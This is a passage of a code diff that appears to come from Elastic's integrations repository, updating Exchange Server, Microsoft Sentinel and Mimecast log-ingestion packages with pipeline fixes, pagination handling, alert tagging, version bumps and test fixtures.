+ "original": "2025-01-14T09:28:39.334Z,2a02:cf40::0000:1234:5678:9abc,HELLOWORLD,,,\"MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant\",,STOREDRIVER,NOTIFYMAPI,,,,,,,,,,,email@email.com,,2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000,,,,,S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00,,74364e3b-32b7-4108-9a2c-6dda84007459,15.01.2507.039"
+ },
+ "message": "2025-01-14T09:28:39.334Z,2a02:cf40::0000:1234:5678:9abc,HELLOWORLD,,,\"MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant\",,STOREDRIVER,NOTIFYMAPI,,,,,,,,,,,email@email.com,,2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000,,,,,S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00,,74364e3b-32b7-4108-9a2c-6dda84007459,15.01.2507.039",
+ "microsoft": {
+ "exchange": {
+ "customdata": "S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00",
+ "eventid": "NOTIFYMAPI",
+ "logid": "74364e3b-32b7-4108-9a2c-6dda84007459",
+ "messageinfo": "2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000",
+ "schemaversion": "15.01.2507.039",
+ "source": "STOREDRIVER",
+ "sourcecontext": "MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant"
+ }
+ },
+ "tags": [
+ "preserve_original_event"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-14T09:29:05.327Z",
+ "client": {
+ "domain": "HELLOWORLD",
+ "ip": "216.160.83.56"
+ },
+ "ecs": {
+ "version": "8.17.0"
+ },
+ "email": {
+ "direction": "Incoming",
+ "message_id": "<1736846922.907742.2942@foo.bar.local>",
+ "sender": {
+ "address": [
+ ""
+ ]
+ },
+ "subject": "John Doe",
+ "to": {
+ "address": [
+ "email@email.com"
+ ]
+ }
+ },
+ "event": {
+ "ingested": "2025-02-20T14:15:49.792854602Z",
+ "original": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039"
+ },
+ "message": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039",
+ "microsoft": {
+ "exchange": {
+ "connectorid": "Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202",
+ "customdata": "S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com",
+ "eventid": "SENDEXTERNAL",
+ "internalmessageid": "8774618205228",
+ "logid": "82f8feae-ef9b-41bf-8500-1e10946655ae",
+ "messageinfo": "2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291",
+ "recipientcount": 1,
+ "recipientstatus": "250 2.1.5 Recipient OK",
+ "returnpath": "<>",
+ "schemaversion": "15.01.2507.039",
+ "source": "SMTP",
+ "sourcecontext": ";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:",
+ "transporttraffictype": "Email"
+ }
+ },
+ "network": {
+ "bytes": 136349
+ },
+ "server": {
+ "domain": "global-mail-onmicrosoft-com.mail.protection.outlook.com",
+ "ip": "175.16.199.1"
+ },
+ "tags": [
+ "preserve_original_event"
+ ]
}
]
}
diff --git a/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml b/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml
index 82e0459b344..ff202eba7ed 100644
--- a/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml
@@ -54,6 +54,7 @@ processors:
- set:
field: email.local_id
copy_from: microsoft.exchange.networkmessageid
+ ignore_empty_value: true
- append:
field: email.sender.address
value: "{{{microsoft.exchange.senderaddress}}}"
@@ -65,15 +66,15 @@ processors:
- append:
field: email.from.address
value: "{{{_tmp.email.from.address}}}"
- if: ctx._tmp?.email?.from?.address != null && ctx?._tmp?.email?.from?.address != "<>"
- ignore_failure: true
+ if: ctx._tmp?.email?.from?.address != null && ctx._tmp.email.from.address != "<>"
- append:
field: email.from.address
value: "{{{microsoft.exchange.senderaddress}}}"
- if: ctx.email?.from?.address == null
+ if: ctx.microsoft?.exchange?.senderaddress != null && ctx.microsoft.exchange.senderaddress != ""
ignore_failure: true
- remove:
field: microsoft.exchange.senderaddress
+ ignore_missing: true
- convert:
field: "microsoft.exchange.recipientcount"
type: long
diff --git a/packages/microsoft_exchange_server/manifest.yml b/packages/microsoft_exchange_server/manifest.yml
index cad9349b301..2e1c2007df4 100644
--- a/packages/microsoft_exchange_server/manifest.yml
+++ b/packages/microsoft_exchange_server/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.0.3
name: microsoft_exchange_server
title: "Microsoft Exchange Server"
-version: "1.3.0"
+version: "1.3.1"
source:
license: "Elastic-2.0"
description: Collect logs from Microsoft Exchange Server with Elastic Agent.
diff --git a/packages/microsoft_sentinel/changelog.yml b/packages/microsoft_sentinel/changelog.yml
index 037529b2e82..d12797da36e 100644
--- a/packages/microsoft_sentinel/changelog.yml
+++ b/packages/microsoft_sentinel/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.3.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/microsoft_sentinel/manifest.yml b/packages/microsoft_sentinel/manifest.yml
index c54158e8219..9c5acef7300 100644
--- a/packages/microsoft_sentinel/manifest.yml
+++ b/packages/microsoft_sentinel/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.2.1
name: microsoft_sentinel
title: Microsoft Sentinel
-version: 0.3.1
+version: "0.4.0"
description: Collect logs from Microsoft Sentinel with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- edr_xdr
conditions:
kibana:
- version: ^8.14.0
+ version: "^8.14.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/mimecast/_dev/deploy/docker/files/config.yml b/packages/mimecast/_dev/deploy/docker/files/config.yml
index a643dade2f1..da698e4773d 100644
--- a/packages/mimecast/_dev/deploy/docker/files/config.yml
+++ b/packages/mimecast/_dev/deploy/docker/files/config.yml
@@ -745,6 +745,8 @@ rules:
headers:
Content-Type:
- "application/json"
+ X-Mc-Threat-Feed-Next-Token:
+ - nextnexttoken
body: |
{{ minify_json `
{
@@ -815,6 +817,43 @@ rules:
]
}
`}}
+ - path: /api/ttp/threat-intel/get-feed
+ methods: ["POST"]
+ request_body: /"feedType":"malware_customer","fileType":"stix","token":"nextnexttoken"/
+ request_headers:
+ authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"]
+ responses:
+ - status_code: 200
+ headers:
+ Content-Type:
+ - "application/json"
+ body: |
+ {{ minify_json `
+ {
+ "meta": {
+ "status": 200
+ },
+ "data": [],
+ "fail": [
+ {
+ "key": {
+ "start": "2025-02-01T01:00:00+0000",
+ "end": "2025-02-01T01:00:01+0000",
+ "fileType": "stix",
+ "feedType": "malware_customer",
+ "compress": false
+ },
+ "errors": [
+ {
+ "code": "err_threat_intel_feed_no_result_found",
+ "message": "No results found for threat intel feed.",
+ "retryable": false
+ }
+ ]
+ }
+ ]
+ }
+ `}}
- path: /api/ttp/threat-intel/get-feed
methods: ["POST"]
@@ -899,6 +938,8 @@ rules:
headers:
Content-Type:
- "application/json"
+ X-Mc-Threat-Feed-Next-Token:
+ - nextnexttoken
body: |
{{ minify_json `
{
@@ -969,6 +1010,43 @@ rules:
]
}
`}}
+ - path: /api/ttp/threat-intel/get-feed
+ methods: ["POST"]
+ request_body: /"feedType":"malware_grid","fileType":"stix","token":"nextnexttoken"/
+ request_headers:
+ authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"]
+ responses:
+ - status_code: 200
+ headers:
+ Content-Type:
+ - "application/json"
+ body: |
+ {{ minify_json `
+ {
+ "meta": {
+ "status": 200
+ },
+ "data": [],
+ "fail": [
+ {
+ "key": {
+ "start": "2025-02-01T01:00:00+0000",
+ "end": "2025-02-01T01:00:01+0000",
+ "fileType": "stix",
+ "feedType": "malware_customer",
+ "compress": false
+ },
+ "errors": [
+ {
+ "code": "err_threat_intel_feed_no_result_found",
+ "message": "No results found for threat intel feed.",
+ "retryable": false
+ }
+ ]
+ }
+ ]
+ }
+ `}}
- path: /api/ttp/attachment/get-logs
methods: ["POST"]
diff --git a/packages/mimecast/changelog.yml b/packages/mimecast/changelog.yml
index 8c46c7e0c1f..35ad2e648f1 100644
--- a/packages/mimecast/changelog.yml
+++ b/packages/mimecast/changelog.yml
@@ -1,4 +1,19 @@
# newer versions go on top
+- version: "2.6.2"
+ changes:
+ - description: Handle empty events within a time window inside threat events.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12937
+- version: "2.6.1"
+ changes:
+ - description: Prevent pageToken from incorrectly reappearing in interval requests in multiple data streams.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12936
+- version: "2.6.0"
+ changes:
+ - description: Set `event.kind:"alert"` for relevant events.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12835
- version: "2.5.2"
changes:
- description: Add missing ECS field mappings.
diff --git a/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs
index c2852f6c21f..06aef814fa5 100644
--- a/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs
@@ -90,7 +90,7 @@ program: |
}
}).do_request().as(resp, resp.StatusCode == 200 ?
bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ?
- {
+ (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, {
"events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(),
"cursor": {
"last": (
@@ -106,19 +106,19 @@ program: |
).format(time_layout.RFC3339)
),
},
- ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ?
- optional.of({
+ "last_page": want_more ?
+ dyn({
?"next": body.?meta.pagination.next,
- "data": req.data,
+ ?"data": req.?data,
})
:
- optional.none(),
+ dyn(null), // required to clear the incoming state
"token": {
"access_token": token.access_token,
"expires": token.expires,
},
- "want_more": has(body.?meta.pagination.next) && size(body.data) != 0,
- }
+ "want_more": want_more,
+ })
:
// Mimecast can return failure states with a 200. This
// is detected by a non-empty fail array at the root
diff --git a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log
index 6748648eafe..6f8b5a932ee 100644
--- a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log
+++ b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log
@@ -18,3 +18,4 @@
{"_offset":1815702,"_partition":53,"accountId":"AUS2474","aggregateId":"4Xxg1c71KpzFB8T-j9zj9y3f91byjes4ysqetgk19g_1732525893","authResults":[{"aligned":true,"result":"pass","type":"SPF"},{"aligned":false,"result":"none","type":"DKIM"},{"aligned":null,"result":"pass","type":"DMARC"}],"messageId":"<642fa314-514d-2b9b-d4c1-c713421fb4f3@demovation-ci.b41.one>","processingId":"821aff47dea6b57c6cb6bd262738eeabd28e2659f2ac0cb3ee490828d3a143f4_1732525893","subtype":null,"timestamp":1732525893398,"type":"mailflow"}
{"_offset":1820908,"_partition":53,"accountId":"AUS2474","aggregateId":"4XyPl23Kn4z84ly-hnj5fgu9nbwnghx86mj18qp44b_1732630590","authResults":[{"aligned":true,"result":"pass","type":"SPF"},{"aligned":false,"result":"none","type":"DKIM"},{"aligned":null,"result":"pass","type":"DMARC"}],"messageId":"<2e165bc9-cae9-8e0d-3baa-03532f32fbb3@demovation-ci.b41.one>","processingId":"3125eb6ff78c055eb7449a47286a453dcb66e176d2c751a6236bba4232c6fe31_1732630590","subtype":null,"timestamp":1732630590705,"type":"mailflow"}
{"_offset":1803841,"_partition":53,"accountId":"AUS2474","aggregateId":"4XvR1B4m7BzFB8L-qk59b4szrgayciaagczc977rzb_1732212206","authResults":[{"aligned":true,"result":"pass","type":"SPF"},{"aligned":false,"result":"none","type":"DKIM"},{"aligned":null,"result":"pass","type":"DMARC"}],"messageId":"<2ae37333-38e7-89ff-dc36-c8d48c6e3df3@demovation-ci.b41.one>","processingId":"c40337e6860db0301575d8d09362bff214c0b010d6c4d41da9d770759ff54d10_1732212206","subtype":null,"timestamp":1732212206960,"type":"mailflow"}
+{"attachments":["tpsreport.xlsx"],"subject":"RE: Your archive mailbox is almost full.","senderEnvelope":"auser@mimecast.com","messageId":"messageId","threatState":"DELIVERED","senderHeader":"auser@mimecast.com","source":"OFFICE_365_MAIL","type":"entities","tags":["UNTRUSTWORTHY","SPAM"],"accountId":"C0A0","aggregateId":"aggregateId","processingId":"processingId","threatType":"POLICIES_DISABLED","recipients":["auser@testdomain.com"],"policiesApplied":[{"action":null,"mode":null,"name":"Default O365 Mail policy"},{"action":null,"mode":null,"name":"Default O365 Mail policy"}],"historicalMail":false,"subtype":"POLICIES_DISABLED","senderIp":"81.2.69.144","timestamp":1689685037899,"direction":"Inbound"}
diff --git a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json
index 8eb7938009e..8cc0fc92ca6 100644
--- a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json
+++ b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log-expected.json
@@ -348,6 +348,7 @@
"email"
],
"created": "2024-11-18T15:24:35.250Z",
+ "kind": "alert",
"original": "{\"_offset\":1790506,\"_partition\":53,\"accountId\":\"AUS2474\",\"aggregateId\":\"4XsWdG63WDzFy33-kckoq8rx19ibc7iccjsjx6hsxd_1731943475\",\"attachments\":[\"Sandbox Test.xlsx\"],\"direction\":\"INBOUND\",\"historicalMail\":false,\"messageId\":\"<0bb5c112-9013-584b-eb87-e5376f49c9ac@demovation-ci.b41.one>\",\"policiesApplied\":[{\"action\":\"BLOCK\",\"mode\":\"ACTIVE\",\"name\":\"Default O365 Mail policy\"}],\"processingId\":\"66e03b099e150698fc62f354796f2baa94c2f625a34ac92a0c7e8eb4a2afb11c_1731943475\",\"recipients\":[\"steve.january@demovation-ci.b41.one\"],\"senderEnvelope\":\"announcements@demovation-ci.b41.one\",\"senderHeader\":\"\",\"senderIp\":\"81.2.69.144\",\"source\":\"OFFICE_365_MAIL\",\"subject\":\"Message from Node-RED\",\"subtype\":\"MALWARE\",\"tags\":[\"MALWARE\"],\"threatState\":\"BLOCKED\",\"threatType\":\"MALWARE\",\"timestamp\":1731943475250,\"type\":\"entities\"}"
},
"mimecast": {
@@ -1204,6 +1205,95 @@
"tags": [
"preserve_original_event"
]
+ },
+ {
+ "@timestamp": "2023-07-18T12:57:17.899Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "attachments": [
+ {
+ "file": {
+ "name": [
+ "tpsreport.xlsx"
+ ]
+ }
+ }
+ ],
+ "direction": "inbound",
+ "from": {
+ "address": [
+ "auser@mimecast.com"
+ ]
+ },
+ "message_id": "messageId",
+ "subject": "RE: Your archive mailbox is almost full.",
+ "to": {
+ "address": [
+ "auser@testdomain.com"
+ ]
+ }
+ },
+ "event": {
+ "category": [
+ "email"
+ ],
+ "created": "2023-07-18T12:57:17.899Z",
+ "kind": "alert",
+ "original": "{\"attachments\":[\"tpsreport.xlsx\"],\"subject\":\"RE: Your archive mailbox is almost full.\",\"senderEnvelope\":\"auser@mimecast.com\",\"messageId\":\"messageId\",\"threatState\":\"DELIVERED\",\"senderHeader\":\"auser@mimecast.com\",\"source\":\"OFFICE_365_MAIL\",\"type\":\"entities\",\"tags\":[\"UNTRUSTWORTHY\",\"SPAM\"],\"accountId\":\"C0A0\",\"aggregateId\":\"aggregateId\",\"processingId\":\"processingId\",\"threatType\":\"POLICIES_DISABLED\",\"recipients\":[\"auser@testdomain.com\"],\"policiesApplied\":[{\"action\":null,\"mode\":null,\"name\":\"Default O365 Mail policy\"},{\"action\":null,\"mode\":null,\"name\":\"Default O365 Mail policy\"}],\"historicalMail\":false,\"subtype\":\"POLICIES_DISABLED\",\"senderIp\":\"81.2.69.144\",\"timestamp\":1689685037899,\"direction\":\"Inbound\"}"
+ },
+ "mimecast": {
+ "accountId": "C0A0",
+ "aggregateId": "aggregateId",
+ "historicalMail": false,
+ "log_type": "entities",
+ "policiesApplied": [
+ {
+ "name": "Default O365 Mail policy"
+ },
+ {
+ "name": "Default O365 Mail policy"
+ }
+ ],
+ "processingId": "processingId",
+ "senderHeader": "auser@mimecast.com",
+ "source": "OFFICE_365_MAIL",
+ "subtype": "POLICIES_DISABLED",
+ "tags": [
+ "UNTRUSTWORTHY",
+ "SPAM"
+ ],
+ "threatState": "DELIVERED",
+ "threatType": "POLICIES_DISABLED"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ],
+ "user": [
+ "auser@mimecast.com",
+ "auser@testdomain.com"
+ ]
+ },
+ "source": {
+ "geo": {
+ "city_name": "London",
+ "continent_name": "Europe",
+ "country_iso_code": "GB",
+ "country_name": "United Kingdom",
+ "location": {
+ "lat": 51.5142,
+ "lon": -0.0931
+ },
+ "region_iso_code": "GB-ENG",
+ "region_name": "England"
+ },
+ "ip": "81.2.69.144"
+ },
+ "tags": [
+ "preserve_original_event"
+ ]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml
index 5064b4ac127..5427cd8b66d 100644
--- a/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/mimecast/data_stream/cloud_integrated_logs/elasticsearch/ingest_pipeline/default.yml
@@ -34,6 +34,10 @@ processors:
field: event.created
copy_from: '@timestamp'
if: ctx['@timestamp'] != null
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.tags instanceof List && ctx.mimecast.tags.length != 0
### NOTE LOG TYPE
- rename:
diff --git a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml
index 4da22641654..88df615b191 100644
--- a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml
+++ b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-common-config.yml
@@ -1,3 +1,6 @@
fields:
+ _conf:
+ alerting:
+ - block
tags:
- preserve_original_event
diff --git a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log
index 26e079b7fde..d4bac68acba 100644
--- a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log
+++ b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log
@@ -13,4 +13,5 @@
{"senderAddress":"zimin.lu@demo-int.elastic.mime-api.com","recipientAddress":"vkaminski@demo-visionary.b41.one","subject":"Re","eventTime":"2024-11-17T20:57:30+0000","route":"outbound","policy":"Confidential","action":"hold","messageId":"<5f9f4f4f0e0afb06-147953@hapi.b41.one>"}
{"senderAddress":"thomas.bentz@empirepartners.b41.one","recipientAddress":"thomas.bentz@demo-int.elastic.mime-api.com","subject":"FIRE DRILL","eventTime":"2024-11-17T20:16:02+0000","route":"inbound","policy":"Confidential","action":"hold","messageId":"<2a5df47e8f85f62a-216237@hapi.b41.one>"}
{"senderAddress":"webmaster@empirepartners.b41.one","recipientAddress":"vkamins@demo-int.elastic.mime-api.com","subject":"New CERA.com Coming Soon! - CERA Alert","eventTime":"2024-11-17T19:47:39+0000","route":"inbound","policy":"Confidential","action":"hold","messageId":""}
+{"senderAddress":"webmaster@empirepartners.b41.one","recipientAddress":"vkamins@demo-int.elastic.mime-api.com","subject":"New CERA.com Coming Soon! - CERA Alert","eventTime":"2024-11-17T19:47:39+0000","route":"inbound","policy":"Confidential","action":"block","messageId":""}
{"meta":{"status":200,"pagination":{"pageSize":10,"totalCount":519,"next":"nextToken"}},"data":[],"fail":[]}
diff --git a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json
index 6dbb98c137f..3b9fc5480a5 100644
--- a/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json
+++ b/packages/mimecast/data_stream/dlp_logs/_dev/test/pipeline/test-dlp-logs.log-expected.json
@@ -525,6 +525,42 @@
"preserve_original_event"
]
},
+ {
+ "@timestamp": "2024-11-17T19:47:39.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "direction": "inbound",
+ "from": {
+ "address": [
+ "webmaster@empirepartners.b41.one"
+ ]
+ },
+ "message_id": "",
+ "subject": "New CERA.com Coming Soon! - CERA Alert",
+ "to": {
+ "address": [
+ "vkamins@demo-int.elastic.mime-api.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "block",
+ "category": [
+ "email"
+ ],
+ "created": "2024-11-17T19:47:39+0000",
+ "kind": "alert",
+ "original": "{\"senderAddress\":\"webmaster@empirepartners.b41.one\",\"recipientAddress\":\"vkamins@demo-int.elastic.mime-api.com\",\"subject\":\"New CERA.com Coming Soon! - CERA Alert\",\"eventTime\":\"2024-11-17T19:47:39+0000\",\"route\":\"inbound\",\"policy\":\"Confidential\",\"action\":\"block\",\"messageId\":\"\"}"
+ },
+ "rule": {
+ "name": "Confidential"
+ },
+ "tags": [
+ "preserve_original_event"
+ ]
+ },
null
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs
index 96d4f70f83c..2de678a680a 100644
--- a/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/dlp_logs/agent/stream/cel.yml.hbs
@@ -90,7 +90,7 @@ program: |
}
}).do_request().as(resp, resp.StatusCode == 200 ?
bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ?
- {
+ (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, {
